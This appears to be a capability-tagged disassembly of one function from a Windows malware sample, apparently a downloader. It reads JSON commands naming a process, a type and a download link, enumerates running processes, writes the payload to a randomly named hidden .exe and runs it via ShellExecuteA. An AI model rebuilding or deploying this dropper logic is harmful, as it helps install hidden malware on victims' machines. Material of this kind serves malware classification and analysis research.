Function at 0x404ae0
Capabilities:
Check if file exists
Create process on windows
Enumerate processes
Get file attributes
Reference http user-agent string
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43affb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x410
mov eax, dword [0x44f008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
push eax
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3c8], eax
call fcn.00421007
add esp, 4
push eax
call fcn.0041eaad
add esp, 4
lea eax, [ebp - 0x188]
push 0x50
push 0
push eax
call fcn.0041b750
xor eax, eax
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x16c], 0
add esp, 0xc
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x170], 0xf
mov byte [ebp - 0x184], 0
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x158], 7
mov word [ebp - 0x16c], ax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], 0xf
mov byte [ebp - 0x154], al
mov dword [ebp - 0x188], str.User_Agent:_Mozilla_5.0__Windows_NT_6.1__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_50.0.2661.87_Safari_537.36
mov dword [ebp - 0x13c], eax
xorps xmm0, xmm0
mov dword [ebp - 4], eax
movups xmmword [ebp - 0xd0], xmm0
movq qword [ebp - 0xc0], xmm0
mov byte [ebp - 0xc8], al
and dword [ebp - 0xc8], 0xfffffeff
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
xor edi, edi
mov byte [ebp - 4], 5
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x3c0], edi
lea ecx, [ebp - 0x3e0]
call fcn.00403650
lea ecx, [ebp - 0xd0]
push ecx
mov ecx, eax
call fcn.0040fa40
lea ecx, [ebp - 0x3e0]
call fcn.0040f970
movzx eax, byte [ebp - 0xc8]
cmp eax, 7
ja case.0x404c45.0
jmp dword [eax*4 + 0x405ddc]
mov eax, dword [ebp - 0xd0]
cmp dword [eax + 4], edi
je case.0x404c45.0
mov eax, dword [eax]
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x9c], eax
call fcn.004124c0
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + 0x14]
inc ecx
jmp 0x404c7f
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x9c], ecx
test ecx, ecx
jg 0x404c92
push 0x493e0
call esi
jmp 0x404c15
xor esi, esi
mov dword [ebp - 0x3bc], esi
test ecx, ecx
jle 0x405a0d
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0xf
mov byte [ebp - 0x100], 0
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0xf
mov byte [ebp - 0xe8], 0
mov byte [ebp - 4], 9
test esi, esi
js 0x405d91
push esi
lea ecx, [ebp - 0xd0]
call fcn.0040fd10
push 0x449053
push str.process
mov ecx, eax
call fcn.00410420
test eax, eax
je 0x4058ad
push esi
lea ecx, [ebp - 0xd0]
call fcn.0040fd10
push 0x449053
push str.process
mov ecx, eax
call fcn.004101f0
lea ecx, [ebp - 0x3e0]
push ecx
mov ecx, eax
call fcn.0040fb70
mov esi, eax
lea eax, [ebp - 0xb4]
cmp eax, esi
je 0x404e1b
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x404dd8
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404dce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0xb4], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0xa4], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x3cc]
cmp ecx, 0x10
jb 0x404e55
mov edx, dword [ebp - 0x3e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404e4b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
cmp byte [0x450f0c], 0
je 0x404e9a
mov edx, 0x449054
mov ecx, 0x450578
call fcn.00408770
cmp dword [ebp - 0xa0], 0x10
lea edx, [ebp - 0xb4]
push dword [ebp - 0xa4]
cmovae edx, dword [ebp - 0xb4]
mov ecx, eax
call fcn.0040a0b0
add esp, 4
push eax
call fcn.00408a10
add esp, 4
cmp dword [ebp - 0xa4], 3
jbe 0x404f04
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x3e0]
call fcn.004067f0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x3c8], eax
cmp eax, 0xffffffff
jne 0x404f0f
mov ecx, dword [ebp - 0x3cc]
cmp ecx, 0x10
jb 0x404f04
mov edx, dword [ebp - 0x3e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404efa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov esi, dword [ebp - 0x3bc]
jmp 0x4058ad
lea ecx, [ebp - 0x3b8]
mov dword [ebp - 0x3b8], 0x22c
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x404fcc
nop
push 0x80
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.0041b750
add esp, 0xc
lea eax, [ebp - 0x394]
push 0x80
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.00420fed
mov esi, dword [ebp - 0x3cc]
lea eax, [ebp - 0x3e0]
mov edi, dword [ebp - 0x3e0]
lea ecx, [ebp - 0x98]
add esp, 0xc
cmp esi, 0x10
setae dh
cmovae eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x404fa2
test dl, dl
je 0x404f9e
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x404fa2
add ecx, 2
add eax, 2
test dl, dl
jne 0x404f82
xor eax, eax
jmp 0x404fa7
sbb eax, eax
or eax, 1
test eax, eax
je 0x405021
lea eax, [ebp - 0x3b8]
push eax
push dword [ebp - 0x3c8]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x404f30
mov edi, dword [ebp - 0x3c0]
push dword [ebp - 0x3c8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x3cc]
cmp ecx, 0x10
jb 0x404f04
mov edx, dword [ebp - 0x3e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40500c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
mov esi, dword [ebp - 0x3bc]
add esp, 8
jmp 0x4058ad
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x3c8], eax
test dh, dh
je 0x405062
lea ecx, [esi + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x405052
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edi
call fcn.00418523
mov eax, dword [ebp - 0x3c8]
add esp, 8
mov esi, dword [ebp - 0x3bc]
test eax, eax
je 0x4058a7
push esi
lea ecx, [ebp - 0xd0]
call fcn.0040fd10
push 0x449064
push str.type
mov ecx, eax
call fcn.00410420
test eax, eax
je 0x4058a7
push esi
lea ecx, [ebp - 0xd0]
call fcn.0040fd10
push 0x449064
push str.type
mov ecx, eax
call fcn.004101f0
lea ecx, [ebp - 0x3e0]
push ecx
mov ecx, eax
call fcn.0040fb70
push eax
lea ecx, [ebp - 0x100]
call fcn.004065e0
mov ecx, dword [ebp - 0x3cc]
cmp ecx, 0x10
jb 0x405106
mov edx, dword [ebp - 0x3e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4050fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
push esi
lea ecx, [ebp - 0xd0]
call fcn.0040fd10
push 0x449071
push str.down_link
mov ecx, eax
call fcn.00410420
test eax, eax
je 0x4058a7
push esi
lea ecx, [ebp - 0xd0]
call fcn.0040fd10
push 0x449071
push str.down_link
mov ecx, eax
call fcn.004101f0
lea ecx, [ebp - 0x3e0]
push ecx
mov ecx, eax
call fcn.0040fb70
push eax
lea ecx, [ebp - 0x130]
call fcn.004065e0
mov ecx, dword [ebp - 0x3cc]
cmp ecx, 0x10
jb 0x40519c
mov edx, dword [ebp - 0x3e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405192
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
cmp dword [ebp - 0x120], 5
jbe 0x4058a7
cmp dword [ebp - 0xec], 0x10
lea ecx, [ebp - 0x100]
mov esi, dword [ebp - 0xf0]
cmovae ecx, dword [ebp - 0x100]
setae dl
mov byte [ebp - 0x3c1], dl
cmp esi, 3
jne 0x405236
mov edi, esi
mov edx, 0x449074
sub edi, 4
jb 0x4051f1
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4051f6
add ecx, 4
add edx, 4
sub edi, 4
jae 0x4051e0
cmp edi, 0xfffffffc
je 0x40522a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x405223
cmp edi, 0xfffffffd
je 0x40522a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x405223
cmp edi, 0xfffffffe
je 0x40522a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x405223
cmp edi, 0xffffffff
je 0x40522a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x40522a
sbb eax, eax
or eax, 1
jmp 0x40522c
xor eax, eax
test eax, eax
je 0x4052ac
mov dl, byte [ebp - 0x3c1]
test dl, dl
lea ecx, [ebp - 0x100]
cmovne ecx, dword [ebp - 0x100]
cmp esi, 3
jne 0x4058a1
mov edx, 0x449078
sub esi, 4
jb 0x405269
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40526e
add ecx, 4
add edx, 4
sub esi, 4
jae 0x405258
cmp esi, 0xfffffffc
je 0x4052a2
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40529b
cmp esi, 0xfffffffd
je 0x4052a2
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40529b
cmp esi, 0xfffffffe
je 0x4052a2
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40529b
cmp esi, 0xffffffff
je 0x4052a2
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x4052a2
sbb eax, eax
or eax, 1
jmp 0x4052a4
xor eax, eax
test eax, eax
jne 0x4058a1
mov esi, dword [ebp - 0x3bc]
lea ecx, [ebp - 0xd0]
push esi
call fcn.0040fd10
push 0x449071
push str.down_link
mov ecx, eax
call fcn.004101f0
lea ecx, [ebp - 0x3fc]
push ecx
mov ecx, eax
call fcn.0040fb70
push eax
lea eax, [ebp - 0x3e0]
mov byte [ebp - 4], 0x18
push eax
call fcn.004031e0
push eax
lea ecx, [ebp - 0xe8]
call fcn.004065e0
mov ecx, dword [ebp - 0x3cc]
cmp ecx, 0x10
jb 0x405334
mov edx, dword [ebp - 0x3e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40532a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x3e8]
mov dword [ebp - 0x3d0], 0
mov dword [ebp - 0x3cc], 0xf
mov byte [ebp - 0x3e0], 0
cmp ecx, 0x10
jb 0x40538d
mov edx, dword [ebp - 0x3fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405383
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
cmp byte [0x450f0c], 0
je 0x40544c
push dword [ebp - 0x3c8]
mov edx, str.Find:
mov ecx, 0x450578
call fcn.00408770
push ecx
mov edx, str.PID:
mov ecx, eax
call fcn.00408770
add esp, 4
mov ecx, eax
call fcn.00406040
mov edx, str.__Type:
mov ecx, eax
call fcn.00408770
cmp dword [ebp - 0xec], 0x10
lea edx, [ebp - 0x100]
push dword [ebp - 0xf0]
cmovae edx, dword [ebp - 0x100]
mov ecx, eax
call fcn.0040a0b0
add esp, 4
mov edx, str.__down_link:
mov ecx, eax
call fcn.00408770
cmp dword [ebp - 0x11c], 0x10
lea edx, [ebp - 0x130]
push dword [ebp - 0x120]
cmovae edx, dword [ebp - 0x130]
mov ecx, eax
call fcn.0040a0b0
add esp, 4
mov edx, str._FileSize:
push dword [ebp - 0xd8]
push ecx
mov ecx, eax
call fcn.00408770
add esp, 4
mov ecx, eax
call fcn.00406040
push eax
call fcn.00408a10
add esp, 4
cmp dword [ebp - 0xd8], 0x800
jbe 0x4058a7
mov eax, dword [ebp - 0xec]
lea ecx, [ebp - 0x100]
mov esi, dword [ebp - 0xf0]
cmp eax, 0x10
cmovae ecx, dword [ebp - 0x100]
setae byte [ebp - 0x3c1]
cmp esi, 3
jne 0x4054e4
mov edi, esi
mov edx, 0x449074
sub edi, 4
jb 0x4054a1
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4054a6
add ecx, 4
add edx, 4
sub edi, 4
jae 0x405490
cmp edi, 0xfffffffc
je 0x4054da
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4054d3
cmp edi, 0xfffffffd
je 0x4054da
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4054d3
cmp edi, 0xfffffffe
je 0x4054da
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4054d3
cmp edi, 0xffffffff
je 0x4054da
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x4054da
sbb eax, eax
or eax, 1
jmp 0x4054dc
xor eax, eax
test eax, eax
jne 0x4054e4
mov al, 1
jmp 0x4054e6
xor al, al
test al, al
je 0x405a7c
push dword [ebp - 0x3bc]
lea ecx, [ebp - 0xd0]
call fcn.0040fd10
push ecx
mov ecx, eax
call fcn.00410580
inc dword [ebp - 0x3c0]
mov byte [ebp - 4], 0x1b
mov edi, 0x11
mov eax, dword [ebp - 0x3e4]
or eax, 1
mov dword [ebp - 0x3e0], 0
mov dword [ebp - 0x3d0], 0
mov dword [ebp - 0x3cc], 0xf
mov byte [ebp - 0x3e0], 0
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3c8], eax
call fcn.0041ea8c
mov ecx, 0x1a
cdq
idiv ecx
mov ecx, dword [ebp - 0x3d0]
mov esi, dword [ebp - 0x3cc]
add dl, 0x61
mov byte [ebp - 0x134], dl
cmp ecx, esi
jae 0x405599
lea eax, [ecx + 1]
cmp esi, 0x10
mov dword [ebp - 0x3d0], eax
lea eax, [ebp - 0x3e0]
cmovae eax, dword [ebp - 0x3e0]
mov byte [eax + ecx], dl
mov byte [eax + ecx + 1], 0
jmp 0x4055b9
push dword [ebp - 0x134]
mov byte [ebp - 0x400], 0
lea ecx, [ebp - 0x3e0]
push dword [ebp - 0x400]
push 1
call fcn.00408e00
sub edi, 1
jne 0x405550
push 0x4490b8
push ecx
lea ecx, [ebp - 0x3e0]
call fcn.00409cc0
mov dword [ebp - 0x3fc], edi
mov dword [ebp - 0x3ec], edi
mov dword [ebp - 0x3e8], edi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3fc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3ec], xmm0
mov dword [eax + 0x10], edi
mov edi, dword [ebp - 0x3e4]
or edi, 2
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov dword [ebp - 0x3c8], edi
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x3fc]
mov esi, dword [ebp - 0x3e8]
mov eax, esi
mov edx, dword [ebp - 0x3ec]
sub eax, edx
cmp eax, 4
jb 0x40565b
cmp esi, 0x10
lea eax, [edx + 4]
mov dword [ebp - 0x3ec], eax
cmovae ecx, dword [ebp - 0x3fc]
mov eax, dword [str..exe]
mov dword [ecx + edx], eax
lea eax, [ebp - 0x3fc]
mov byte [ecx + edx + 4], 0
jmp 0x405676
push 4
push str..exe
mov byte [ebp - 0x404], 0
push dword [ebp - 0x404]
push 4
call fcn.004093f0
mov dword [ebp - 0x118], 0
or edi, 4
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x118], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x108], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x3e8]
cmp ecx, 0x10
jb 0x4056fd
mov edx, dword [ebp - 0x3fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4056f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
and edi, 0xfffffffe
mov dword [ebp - 0x3ec], 0
mov dword [ebp - 0x3e8], 0xf
mov byte [ebp - 0x3fc], 0
mov dword [ebp - 0x3e4], edi
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x3cc]
cmp ecx, 0x10
jb 0x40575f
mov edx, dword [ebp - 0x3e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405755
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push 0
cmovae eax, dword [ebp - 0x118]
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
mov dword [ebp - 0x3d0], 0
mov dword [ebp - 0x3cc], 0xf
mov byte [ebp - 0x3e0], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x405842
cmp dword [ebp - 0xd4], 0x10
lea eax, [ebp - 0x138]
push 0
push eax
push dword [ebp - 0xd8]
lea ecx, [ebp - 0xe8]
cmovae ecx, dword [ebp - 0xe8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x405b79
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x104], 0x10
lea esi, [ebp - 0x118]
cmovae esi, dword [ebp - 0x118]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40581a
test al, 2
jne 0x40581a
or eax, 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push 5
cmovae eax, dword [ebp - 0x118]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [0x450f0c], 0
je 0x405863
mov edx, 0x4490c4
mov ecx, 0x450578
call fcn.00408770
push eax
call fcn.00408a10
add esp, 4
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x104]
cmp ecx, 0x10
jb 0x4058a1
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405897
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov esi, dword [ebp - 0x3bc]
mov edi, dword [ebp - 0x3c0]
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xd4]
cmp ecx, 0x10
jb 0x4058eb
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4058e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0xf
mov byte [ebp - 0xe8], 0
cmp ecx, 0x10
jb 0x405944
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40593a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp ecx, 0x10
jb 0x40599d
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405993
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
cmp eax, 0x10
jb 0x4059f8
mov edx, dword [ebp - 0x100]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4059ee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov ecx, dword [ebp - 0x9c]
inc esi
mov dword [ebp - 0x3bc], esi
cmp esi, ecx
jl 0x404ca2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x9c]
cmp edi, ecx
jne 0x404c92
mov byte [ebp - 4], 0
movzx eax, byte [ebp - 0xc8]
sub eax, 4
je 0x405d20
sub eax, 2
je 0x405a48
sub eax, 1
jne 0x405d3b
mov esi, dword [ebp - 0xd0]
test esi, esi
je 0x405d3b
mov eax, dword [esi]
mov ecx, esi
push dword [eax + 4]
push esi
call fcn.00412f50
push 0x30
push dword [esi]
call fcn.00418523
push 8
push esi
call fcn.00418523
add esp, 0x10
jmp 0x405d3b
cmp byte [ebp - 0x3c1], 0
lea ecx, [ebp - 0x100]
cmovne ecx, dword [ebp - 0x100]
cmp esi, 3
jne 0x4058a1
mov edx, 0x449078
sub esi, 4
jb 0x405ab4
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x405ab9
add ecx, 4
add edx, 4
sub esi, 4
jae 0x405aa3
cmp esi, 0xfffffffc
je 0x405aed
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x405ae6
cmp esi, 0xfffffffd
je 0x405aed
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x405ae6
cmp esi, 0xfffffffe
je 0x405aed
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x405ae6
cmp esi, 0xffffffff
je 0x405aed
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x405aed
sbb eax, eax
or eax, 1
jmp 0x405aef
xor eax, eax
mov edi, dword [ebp - 0x3c0]
mov esi, dword [ebp - 0x3bc]
test eax, eax
jne 0x4058ad
inc edi
lea ecx, [ebp - 0xd0]
push esi
mov dword [ebp - 0x3c0], edi
call fcn.0040fd10
push ecx
mov ecx, eax
call fcn.00410580
cmp dword [ebp - 0xd4], 0x10
lea ecx, [ebp - 0xe8]
mov edx, dword [ebp - 0xd8]
cmovae ecx, dword [ebp - 0xe8]
sub esp, 0x18
call fcn.0040a890
add esp, 0x18
cmp byte [0x450f0c], 0
je 0x4058ad
push eax
push ecx
mov edx, 0x4490cc
mov ecx, 0x450578
call fcn.00408770
add esp, 4
mov ecx, eax
call fcn.00405e90
push eax
call fcn.00408a10
add esp, 4
jmp 0x4058ad
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x104]
cmp ecx, 0x10
jb 0x405bb7
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405bad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x405c10
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405c06
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0xf
mov byte [ebp - 0xe8], 0
cmp ecx, 0x10
jb 0x405c69
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405c5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp ecx, 0x10
jb 0x405cc2
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405cb8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
cmp ecx, 0x10
jb 0x405a26
mov edx, dword [ebp - 0x100]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405d11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d8c
push ecx
push edx
call fcn.00418523
add esp, 8
jmp 0x405a26
mov eax, dword [ebp - 0xc8]
shr eax, 8
test al, 1
je 0x405d3b
push dword [ebp - 0xd0]
call fcn.00421065
add esp, 4
mov esi, dword [ebp - 0xc4]
test esi, esi
je 0x405d63
push fcn.00406590
push 3
push 0x18
push esi
mov byte [ebp - 4], 0x22
call fcn.004187e0
push 0x48
push esi
call fcn.00418523
add esp, 8
lea ecx, [ebp - 0x188]
call fcn.00403570
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00418044
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00421336
push ecx
lea ecx, [ebp - 0x228]
call fcn.0040f090
push ecx
lea ecx, [ebp - 0x228]
call fcn.00410f60
mov edx, str.in_Json::Value::operator___int_index_:_index_cannot_be_negative
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x228]
call fcn.00408770
lea eax, [ebp - 0x41c]
push eax
lea ecx, [ebp - 0x228]
call fcn.00410e70
mov ecx, eax
mov byte [ebp - 4], 0xb
call fcn.0040f510
nop
mov dword [eax + eax*2], ecx
mov dword [eax + eax*2], ecx
mov dword [eax + eax*2], ecx
mov dword [eax + eax*2], ecx
mov dword [eax + eax*2], ecx
mov dword [eax + eax*2], ecx
dec esp
dec esp
inc eax
add byte [esi + 0x4c], dh
inc eax
add ah, cl
int3